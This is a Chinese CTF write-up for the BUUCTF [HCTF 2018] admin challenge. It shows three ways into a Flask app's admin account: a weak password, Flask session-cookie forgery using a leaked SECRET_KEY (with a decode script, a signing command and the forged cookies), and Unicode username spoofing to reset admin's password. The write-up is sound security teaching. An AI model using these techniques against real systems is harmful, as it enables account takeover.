BUUCTF [HCTF 2018] admin
BUUCTF [HCTF 2018] admin
- 解法一:弱密码
- 解法二:Flask伪造Session
- 解法三:Unicode欺骗
考点:
- 弱密码
- Flask伪造
session
- Unicode欺骗
启动环境:
简洁的页面和一个菜单栏,菜单栏中包含登陆、注册功能
查看网页源码,发现提示:
<!-- you are not admin -->
提示需要用admin
用户登陆
解法一:弱密码
尝试使用admin
登陆,密码123
:
登陆成功,可以得到flag
首先注册正常的账户:
test
test
登陆成功后,进入到主页,其中菜单栏包含页面:index
、post
、change password
、logout
post
页面是一个类似文章发布或留言板的功能,change password
页面是修改密码功能
在各页面查找提示时,在修改密码界面源码中查找到:
<!-- https://github.com/woadsl1234/hctf_flask/ -->
尝试从Github下载源码:
源码为Flask框架,查看其路由页面:
@app.route('/code')
@app.route('/')
@app.route('/index')
@app.route('/register', methods = ['GET', 'POST'])
@app.route('/login', methods = ['GET', 'POST'])
@app.route('/logout')
@app.route('/change', methods = ['GET', 'POST'])
@app.route('/edit', methods = ['GET', 'POST'])
@app.errorhandler(404)
存在登陆
、注册
、修改密码
、edit
等功能
解法二:Flask伪造Session
Flask中的session
是存储在客户端的cookie
中,也就是存储在本地,Flask对数据进行签名防篡改。而Flask并没有提供加密,所以session
可以在客户端中被读取。
参考:Flask中的session
在本题中routes.py
页面,导入了session
方法:
from flask import xxx, session, xxx
使用BurpSuite抓取数据包:
可以获取到session
:
session=.eJw9kEGLwjAQhf_KMmcPGu1F8FBJ3W1hElrihslF1K22SeNCW9FW_O8bXPA0DG_me2_mAbtTW3YVLPv2Wk5gV__A8gEfB1gC6WQueeMEK7xg28HoopHcRWiNNTyJcDSOxnVNNr0LnYUaL6Q2VtjtSAwjydc18u8axybM4dTYfJAqszRWDbGskpzuwmYOPzcVqvROPr8hj6eSGy9szqSqKlJx8DsyobZz9MFf00z4kEflQ-gDN1kYla_gOYFj1552_a8rL-8ThC4s8swKlQbEkZHeWBzdHO15hjqs-iQynEK0jSOVDjS6hYhXL1zt9-fyTTJfTV3c_pXL3gcB-rLrYQLXrmxfb4PZFJ5_IUVs2g.X9GIFw.jVsoklHDPjPIBeBhQ5i4TpNd5xw
使用Python3脚本进行解密:
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decodedef decryption(payload):payload, sig = payload.rsplit(b'.', 1)payload, timestamp = payload.rsplit(b'.', 1)decompress = Falseif payload.startswith(b'.'):payload = payload[1:]decompress = Truetry:payload = base64_decode(payload)except Exception as e:raise Exception('Could not base64 decode the payload because of ''an exception')if decompress:try:payload = zlib.decompress(payload)except Exception as e:raise Exception('Could not zlib decompress the payload before ''decoding the payload')return session_json_serializer.loads(payload)if __name__ == '__main__':print(decryption(sys.argv[1].encode()))
python3 main.py session
得到解密后的session
信息:
{'_fresh': True, '_id': b'aa789d7df7e2ede89926cd1936dc0bb215bbb089fc653cc980b05b39dc34f4292cc8ecba86162d0aa121bd000486f64698aa092765572de9f56df5422ddc18e4', 'csrf_token': b'5dc02c526576aac3972851a8fa9d64f1da22c984', 'image': b'dybG', 'name': 'test', 'user_id': '10'}
要想构造admin
用户的session
,还需获取到SECRET_KEY的值,SECRET_KEY是Flask中的通用密钥,主要在加密算法中作为一个参数,这个值的复杂度影响到数据传输和存储时的复杂度,密钥最好存储在系统变量中。
通过对本题源码的分析,在config.py
页面中找到:
class Config(object):SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:adsl1234@db:3306/test'SQLALCHEMY_TRACK_MODIFICATIONS = True
其中SECRET_KEY
的值为:ckj123
,在本地构建Flask应用,生成SECRET_KEY
伪造admin
的session
:
sesion=eyJuYW1lIjoiYWRtaW4ifQ.X9GQxA.tPYjWZMjsyIGLwe1kr8xNkLFYFk
获得伪造后的session
,构造本题所需的session
:
{'_fresh': True, '_id': b'aa789d7df7e2ede89926cd1936dc0bb215bbb089fc653cc980b05b39dc34f4292cc8ecba86162d0aa121bd000486f64698aa092765572de9f56df5422ddc18e4', 'csrf_token': b'5dc02c526576aac3972851a8fa9d64f1da22c984', 'image': b'dybG', 'name': 'admin', 'user_id': '10'}
将原本的name
修改为admin
,使用flask-session-cookie加密脚本Github地址:
python3 flask_session_cookie_manager3.py encode -s "ckj123" -t "session..."
得到加密后的session
:
.eJw9kEGLwjAQhf_KMmcPGu1F8FBJ3W1hElrihslFXK02SeNCVbQV__sGFzwNw5v53pt5wObQ1ecG5pfuWo9gY_cwf8DHD8yBdDaVvPWCVUGwdW901UruE3TGGZ4lOBhPw9KSy-9CF7GmM6mNE249EMNE8qVF_m1xaOMcjo0re6kKR0PTEisayekuXOHxc9Wgyu8UyhvydCy5CcKVTKqmIZVGvx0Taj3FEP01TUSIeVTZxz5ys5lR5QKeI9idu8Pm8uvr0_sEoSuHvHBC5RGxY6RXDgc_RXecoI6rIUsMpxht5UnlPQ1-JtLFC2fD9li_SeartdXtXzltQxRguw_2BCO4nuvu9TeYjOH5B44CbSM.X9GUGA.w4nTRxBXiA9uaoA22WXhQe1vmGY
使用BurpSuite抓取数据包,修改其中session
信息:
发送数据包,得到flag:
没有修改user_id
的值,在index.php
页面源码中:
{% include('header.html') %}
{% if current_user.is_authenticated %}
<h1 class="nav">Hello {{ session['name'] }}</h1>
{% endif %}
{% if current_user.is_authenticated and session['name'] == 'admin' %}
<h1 class="nav">hctf{xxxxxxxxx}</h1>
{% endif %}
<!-- you are not admin -->
<h1 class="nav">Welcome to hctf</h1>{% include('footer.html') %}
发现其值判断了session中的name
属性,其值为admin
,即可输出flag。
解法三:Unicode欺骗
在route.py
页面中,查看到register()
函数、login()
函数、change()
函数都包含:
def register():name = strlower(form.username.data)def login():name = strlower(form.username.data)session['name'] = namedef change():name = strlower(session['name'])
其中都是用strlower()
来转为小写,没有使用Python自带的lower()
函数,详细查看该函数:
def strlower(username):username = nodeprep.prepare(username)return username
通过查阅资料,nodeprep.prepare()
函数的原理就是会将unicode字符ᴬ
转换成A
,而A
再调用一次nodeprep.prepare()
函数会把A
转换成a
。
ᴬᴰᴹᴵᴺ -> ADMIN -> admin
以上为转换过程,我们可以通过这种方式伪造admin
用户,即注册用户ᴬᴰᴹᴵᴺ
,在登陆时,用户名通过strlower(form.username.data)
会转化为:ADMIN
。修改密码时,strlower(session['name'])
会将ADMIN
转化为admin
,所以可以修改admin
用户的密码。
首先注册用户ᴬᴰᴹᴵᴺ
:
在成功登陆后,用户已转变为:ADMIN
:
此时修改密码为:test
:
修改成功:
经过两次转化,修改的应为用户admin
的密码,尝试登陆:
登陆成功,获得flag
BUUCTF [HCTF 2018] admin相关推荐
- BUUCTF [HCTF 2018] Hide and seek
BUUCTF [HCTF 2018] Hide and seek 考点: 软连接读取任意文件 Flask伪造session /proc/self/environ文件获取当前进程的环境变量列表 rand ...
- BUUCTF [HCTF 2018]WarmUp 1
BUUCTF [HCTF 2018]WarmUp 1 f12发现提示source.php 打开后发现php代码: <?phphighlight_file(__FILE__);class emmm ...
- [HCTF 2018]admin
前言: 最近在BUUCTF刷题,参照师傅们wp后复现一下 0x01 拿到题目后进去如下界面 发现有登录和注册界面,想必是要登录后才能查看想要的信息. 查看页面源代码,看看有没有上面提示,界面如下 提示 ...
- [HCTF 2018]admin 1
前言 这题的三种方法都是姿势盲区....第三种方法只给个介绍..因为好像复现的话不能成功,但是学习学习这种方法的思想. 姿势总结 flask session伪造 unicode欺骗 条件竞争 方法一: ...
- HCTF 2018]admin
知识点 unicode欺骗 session伪造 解法一:unicode欺骗 查看源码发现 <!-- you are not admin --> 应该是要注册成admin用户 先注册一个ad ...
- [HCTF 2018] admin
"地面可以给他们,但天空属于我" 本题有三种解法,本文只介绍第一种,flask session 伪造. 审查题目 发现了网页有注册和登录,先注册一个试试看,上去后发现有 挨个检查源 ...
- BUUCTF:[HCTF 2018]Hide and seek
BUUCTF:[HCTF 2018]Hide and seek 参考:https://www.jianshu.com/p/d20168da7284 先随便输入账号密码登录 提示我们上传zip文件 上传 ...
- buuctf - web - [HCTF 2018]WarmUp
老样子 F12 检查 发现 source.php 被注释掉了 在 url 直接进行访问 可以看到是源代码 发现 high_file 泄漏, 访问 hint.php,可以看到 flag 在那里 回头分析 ...
- [HCTF 2018]Hideandseek
知识点:flask-session伪造,文件读取,mac地址查询 文章目录 解题过程 1. 注册用户并登录 2. 文件读取 2.1 读取/proc/self/environ 2.2 读取/app/uw ...
最新文章
- 【22,23节】Django的GET和POST属性笔记
- 并发编程下的性能定律(翻译)
- 进阶第四课 Python模块之os
- java中date类型如何赋值_一文读懂java中的Reference和引用类型
- ionic安装插件常用命令
- springcloud hystrix实战(二)
- gulpfile笔记
- 在switch语句中使用字符串以及实现原理
- 按位运算操作符底层实现原理
- 爬虫实例十二 沪深证券股票全站数据爬取
- Linux下PS命令详解 (转)
- win10计算机名访问win7,实现Win10与Win7局域网共享,教你这招
- 制作字幕.html教程,如何制作电影字幕,视频字幕制作软件|免费给视频加字幕
- Unity学习笔记------用Unity2D制作打地鼠游戏
- 迅为4418/6818开发板 Yocto 系统烧写
- Apache Pegasus 首次 Meetup 圆满落幕
- emmx用xmind打开_XMind 里流程图的正确打开方式
- 低功耗设计及其UPF实现第四节(最后一节)
- SpringBoot事务配置管理
- 计算机网络9 无线网络和移动网络